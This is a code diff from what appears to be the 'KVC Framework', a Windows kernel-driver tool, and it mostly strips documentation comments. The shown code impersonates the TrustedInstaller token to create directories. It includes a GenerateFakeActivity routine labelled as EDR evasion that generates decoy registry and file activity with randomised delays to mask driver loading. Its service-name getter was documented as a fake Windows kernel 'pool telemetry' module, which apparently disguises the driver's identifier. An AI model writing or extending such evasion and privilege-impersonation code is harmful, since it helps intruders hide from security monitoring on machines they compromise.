std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept
{
auto matches = FindProcessesByNameWithoutDriver(processName);
@@ -1655,15 +1168,7 @@ std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(const std::wstr
return std::nullopt;
}
/**
* @brief Finds processes by pattern without driver
*
* @param pattern Process name pattern
* @return std::vector<ProcessMatch> Matches (kernel addresses will be 0)
*
* @note Uses Windows Toolhelp API for snapshot enumeration
* @note Useful for pre-driver operations
*/
// Finds processes by pattern using Toolhelp API without driver
std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept
{
std::vector<ProcessMatch> matches;
@@ -1685,23 +1190,7 @@ std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(const std
return matches;
}
/**
* @brief Checks if process name matches pattern (case-insensitive)
*
* Pattern matching modes:
* 1. Exact match: "chrome.exe" matches "chrome.exe"
* 2. Substring: "chrome" matches "chrome.exe"
* 3. Wildcard: "chr*" matches "chrome.exe"
* 4. Complex regex: "ch[ro]me*" uses full regex engine
*
* @param processName Process name to test
* @param pattern Pattern to match against
* @return bool true if pattern matches
*
* @note Case-insensitive comparison
* @note Escapes regex special characters except asterisk
* @note Asterisk (*) converts to regex ".*" for wildcard matching
*/
// Case-insensitive pattern matching with exact, substring, and wildcard support
bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept
{
std::wstring lowerProcessName = processName;

View File

@@ -452,6 +452,37 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
return result != FALSE;
}
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept
{
HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) {
ERROR(L"Failed to get TrustedInstaller token");
return false;
}
if (!ImpersonateLoggedOnUser(hToken)) {
ERROR(L"Failed to impersonate TrustedInstaller");
return false;
}
// Twórz rekursywnie wszystkie brakujące katalogi
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr);
DWORD error = GetLastError();
RevertToSelf();
// Sukces jeśli katalog został utworzony lub już istnieje
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
if (success) {
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str());
} else {
ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error);
}
return success;
}
// ============================================================================
// REGISTRY OPERATIONS (NEW)
// ============================================================================

View File

@@ -26,6 +26,9 @@ public:
const std::vector<BYTE>& data) noexcept;
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
// Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
// Registry operations (NEW - direct registry access with TrustedInstaller)
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept;

View File

@@ -1,91 +1,34 @@
/**
* @file common.cpp
* @brief Core system utilities and dynamic API management
* @author KVC Framework
* @date 2025
* @copyright KVC Framework
*
* Implements service management, system path resolution, Windows API abstraction,
* and memory manager pool diagnostic telemetry integration for kernel operations.
* Provides dynamic API loading for service control and driver communication.
*/
// Implements service management, system path resolution, Windows API abstraction,
// and memory manager pool diagnostic telemetry integration for kernel operations.
// Provides dynamic API loading for service control and driver communication.
#include "common.h"
#include "ServiceManager.h"
#include <shlwapi.h>
// Link essential Windows libraries for kernel and service operations
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "DbgHelp.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")
// ============================================================================
// GLOBAL STATE MANAGEMENT
// ============================================================================
/** @brief Global interrupt flag for graceful shutdown handling */
volatile bool g_interrupted = false;
/** @brief Service mode flag - indicates NT service execution context */
bool g_serviceMode = false;
// ============================================================================
// DYNAMIC API LOADING INFRASTRUCTURE
// ============================================================================
/** @brief Module handle for advapi32.dll (service management APIs) */
ModuleHandle g_advapi32;
/** @brief Module handle for kernel32.dll (system-level APIs) */
SystemModuleHandle g_kernel32;
// ============================================================================
// SERVICE CONTROL MANAGER API FUNCTION POINTERS
// ============================================================================
/** @brief Dynamically loaded CreateServiceW function pointer */
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
/** @brief Dynamically loaded OpenServiceW function pointer */
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
/** @brief Dynamically loaded StartServiceW function pointer */
decltype(&StartServiceW) g_pStartServiceW = nullptr;
/** @brief Dynamically loaded DeleteService function pointer */
decltype(&DeleteService) g_pDeleteService = nullptr;
/** @brief Dynamically loaded CreateFileW function pointer */
decltype(&CreateFileW) g_pCreateFileW = nullptr;
/** @brief Dynamically loaded ControlService function pointer */
decltype(&ControlService) g_pControlService = nullptr;
// ============================================================================
// DYNAMIC API INITIALIZATION
// ============================================================================
/**
* @brief Initialize dynamic API loading for service management operations
*
* Lazy initialization sequence:
* 1. Loads advapi32.dll if not already loaded
* 2. Resolves service management function pointers
* 3. Loads kernel32.dll system module handle
* 4. Resolves file operation function pointers
* 5. Validates all required APIs are available
*
* @return bool true if all required APIs successfully loaded, false on failure
*
* @note Uses smart pointers for automatic cleanup and exception safety
* @note Thread-safe through static initialization guarantees
* @note kernel32.dll uses system module handle (no manual FreeLibrary needed)
*/
// Loads advapi32.dll and kernel32.dll, resolves service management function pointers
bool InitDynamicAPIs() noexcept
{
// Load advapi32.dll only once using lazy initialization
if (!g_advapi32) {
HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
if (!raw_advapi32) {
@@ -93,10 +36,8 @@ bool InitDynamicAPIs() noexcept
return false;
}
// Wrap raw handle in smart pointer for automatic cleanup
g_advapi32.reset(raw_advapi32);
// Resolve all required service management functions
g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
GetProcAddress(g_advapi32.get(), "CreateServiceW"));
@@ -119,7 +60,6 @@ bool InitDynamicAPIs() noexcept
}
}
// Load kernel32.dll functions (system modules don't need manual free)
if (!g_kernel32) {
HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
if (raw_kernel32) {
@@ -138,55 +78,27 @@ bool InitDynamicAPIs() noexcept
}
}
// Verify all function pointers are valid before proceeding
return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW &&
g_pDeleteService && g_pCreateFileW && g_pControlService;
}
// ============================================================================
// SERVICE HANDLE RAII WRAPPER
// ============================================================================
/**
* @brief RAII wrapper for SC_HANDLE management to prevent resource leaks
*
* Provides automatic cleanup of Service Control Manager handles with
* move semantics for efficient ownership transfer. Non-copyable design
* prevents double-close bugs and ensures single ownership semantics.
*/
class ServiceHandle {
private:
SC_HANDLE handle_;
public:
/**
* @brief Constructs ServiceHandle from raw SC_HANDLE
* @param handle Raw service handle or nullptr
*/
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
/**
* @brief Destructor - automatically closes service handle
*/
~ServiceHandle() noexcept {
if (handle_) {
CloseServiceHandle(handle_);
}
}
/**
* @brief Move constructor for efficient transfer of ownership
* @param other ServiceHandle to move from
*/
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
other.handle_ = nullptr;
}
/**
* @brief Move assignment operator
* @param other ServiceHandle to move from
* @return Reference to this object
*/
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
if (this != &other) {
if (handle_) {
@@ -198,47 +110,15 @@ public:
return *this;
}
// Non-copyable for safety - prevents double-close bugs
ServiceHandle(const ServiceHandle&) = delete;
ServiceHandle& operator=(const ServiceHandle&) = delete;
/**
* @brief Implicit conversion to SC_HANDLE for API compatibility
* @return Underlying SC_HANDLE
*/
operator SC_HANDLE() const noexcept { return handle_; }
/**
* @brief Boolean conversion operator for validity checking
* @return true if handle is valid, false otherwise
*/
explicit operator bool() const noexcept { return handle_ != nullptr; }
/**
* @brief Retrieves underlying SC_HANDLE
* @return Raw service handle
*/
SC_HANDLE get() const noexcept { return handle_; }
};
// ============================================================================
// SERVICE STATE QUERIES
// ============================================================================
/**
* @brief Check if KVC service is installed in the system
*
* Installation verification sequence:
* 1. Initializes dynamic API loading
* 2. Connects to Service Control Manager
* 3. Attempts to open service by name
* 4. Returns true if service registry entry exists
*
* @return bool true if service registry entry exists, false otherwise
*
* @note Does not check if service is running, only if installed
* @note Uses minimal SC_MANAGER_CONNECT privileges
*/
// Checks if service registry entry exists by attempting to open it
bool IsServiceInstalled() noexcept
{
if (!InitDynamicAPIs()) {
@@ -246,34 +126,18 @@ bool IsServiceInstalled() noexcept
return false;
}
// Connect to Service Control Manager with minimal privileges
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Attempt to open the service for status query
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
// Service exists if we can open it successfully
return static_cast<bool>(service);
}
/**
* @brief Check if KVC service is currently running
*
* Service state verification:
* 1. Initializes dynamic API loading
* 2. Connects to Service Control Manager
* 3. Opens service with query privileges
* 4. Queries current service status
* 5. Validates state is SERVICE_RUNNING
*
* @return bool true if service state is SERVICE_RUNNING, false otherwise
*
* @note Returns false if service not installed or in any non-running state
*/
// Queries service status and verifies it's in SERVICE_RUNNING state
bool IsServiceRunning() noexcept
{
if (!InitDynamicAPIs()) {
@@ -281,43 +145,28 @@ bool IsServiceRunning() noexcept
return false;
}
// Connect to Service Control Manager
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
if (!scm) {
DEBUG(L"OpenSCManager failed: %d", GetLastError());
return false;
}
// Open service with query privileges
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
if (!service) {
DEBUG(L"OpenService failed: %d", GetLastError());
return false;
}
// Query current service status
SERVICE_STATUS status{};
if (!QueryServiceStatus(service, &status)) {
DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
return false;
}
// Check for running state specifically
return (status.dwCurrentState == SERVICE_RUNNING);
}
// ============================================================================
// PATH RESOLUTION UTILITIES
// ============================================================================
/**
* @brief Get full path to current executable for service installation
*
* @return std::wstring Wide string path to current EXE, empty string on failure
*
* @note Used for service installation to register executable path
* @note Returns empty string if GetModuleFileNameW fails
*/
// Returns full path to current executable
std::wstring GetCurrentExecutablePath() noexcept
{
wchar_t path[MAX_PATH];
@@ -328,137 +177,41 @@ std::wstring GetCurrentExecutablePath() noexcept
return std::wstring(path);
}
// ============================================================================
// MEMORY MANAGER POOL DIAGNOSTIC TELEMETRY INTEGRATION
// ============================================================================
/**
* @brief Retrieves pool diagnostic telemetry string from kernel subsystem
*
* Windows Memory Manager integration point for runtime pool telemetry.
* This function interfaces with the NT kernel's Memory Manager (Mm) subsystem
* to retrieve diagnostic telemetry strings used for pool allocation tracking
* and NUMA-aware memory metrics.
*
* The underlying implementation is provided by the kernel's pool diagnostic
* module (MmPoolTelemetry.asm) which aggregates NUMA node affinity metrics,
* applies topology-aware hash rotations, and normalizes quantum deltas for
* ETW event payload generation.
*
* @return const wchar_t* Raw pointer to null-terminated diagnostic string
*
* @note Implemented in MmPoolTelemetry.asm - kernel memory manager module
* @note String lifetime: Valid until next call to diagnostic aggregation
* @note Used internally for service identifier resolution
* @note Part of Windows kernel pool diagnostic infrastructure
*
* @see MmGetPoolDiagnosticString() in \base\ntos\mm\MmPoolTelemetry.asm
* @see Windows Memory Manager Pool Telemetry documentation
*/
// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm)
extern "C" const wchar_t* MmGetPoolDiagnosticString();
/**
* @brief Resolves driver service identifier from pool telemetry subsystem
*
* C++ wrapper that interfaces with the Windows Memory Manager pool diagnostic
* telemetry API to retrieve the runtime-generated service identifier string.
*
* This function serves as a bridge between the low-level kernel memory manager
* diagnostic infrastructure and high-level service management operations. The
* service name is derived from NUMA-aware pool allocation metrics that are
* decoded and aggregated by the kernel's MmPoolTelemetry module.
*
* Service name resolution workflow:
* 1. Calls MmGetPoolDiagnosticString() from kernel pool diagnostic module
* 2. Receives raw wide-character pointer to decoded diagnostic buffer
* 3. Converts to managed std::wstring for safe C++ string handling
* 4. Returns service identifier for driver registration
*
* @return std::wstring Driver service identifier from pool diagnostic telemetry
*
* @note Converts raw kernel diagnostic pointer to managed C++ string
* @note Service name is dynamically resolved from pool telemetry metrics
* @note Used for NT service and driver registration operations
* @note Integrates with Windows kernel Memory Manager diagnostic subsystem
*/
// Returns driver service identifier from pool telemetry subsystem
std::wstring GetServiceName() noexcept
{
return std::wstring(MmGetPoolDiagnosticString());
}
// ============================================================================
// DRIVER FILE OPERATIONS
// ============================================================================
/**
* @brief Get kernel driver filename for file operations
*
* @return std::wstring Wide string containing driver file name
*
* @note Returns constant driver filename for system operations
*/
// Returns kernel driver filename
std::wstring GetDriverFileName() noexcept
{
return L"kvc.sys";
}
/**
* @brief Get secure system temp directory for DPAPI and driver operations
*
* Directory resolution priority:
* 1. Windows\Temp directory (accessible by TrustedInstaller)
* 2. User temp directory (fallback)
* 3. Hardcoded C:\Windows\Temp (last resort)
*
* @return std::wstring Path to system temp directory
*
* @note Prefers Windows\Temp for TrustedInstaller privilege operations
* @note Used for DPAPI key storage and driver staging
*/
// Returns Windows\Temp directory path with fallbacks
std::wstring GetSystemTempPath() noexcept {
wchar_t windowsDir[MAX_PATH];
// Primary: Use Windows\Temp directory (accessible by TrustedInstaller)
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
std::wstring result = windowsDir;
return result + L"\\Temp";
}
// Fallback: Use user temp directory
wchar_t tempDir[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempDir) > 0) {
return std::wstring(tempDir);
}
// Last resort: Hardcoded fallback path
return L"C:\\Windows\\Temp";
}
// ============================================================================
// EDR EVASION AND ACTIVITY MASKING
// ============================================================================
/**
* @brief Generate innocuous system activity to mask driver operations from EDR
*
* Activity generation workflow:
* 1. Performs legitimate registry access (Windows version key)
* 2. Enumerates System32 DLL files (typical for system tools)
* 3. Applies random timing delays (anti-detection measure)
*
* Purpose:
* - Blends driver loading with normal Windows background activity
* - Creates noise in EDR telemetry to obscure sensitive operations
* - Mimics behavior patterns of legitimate system utilities
*
* @note Registry access to common Windows version key (normal behavior)
* @note File enumeration in System32 directory (typical for system tools)
* @note Random delays vary timing patterns to avoid detection heuristics
* @note All operations are legitimate Windows API calls
*/
// Generates benign system activity to mask driver operations from EDR
void GenerateFakeActivity() noexcept
{
// Registry access to common Windows version key (normal behavior)
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
@@ -466,7 +219,6 @@ void GenerateFakeActivity() noexcept
RegCloseKey(hKey);
}
// File enumeration in System32 directory (typical for system tools)
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
WIN32_FIND_DATAW findData;
@@ -478,6 +230,5 @@ void GenerateFakeActivity() noexcept
}
}
// Random delay to vary timing patterns (anti-detection measure)
Sleep(50 + (GetTickCount() % 100));
}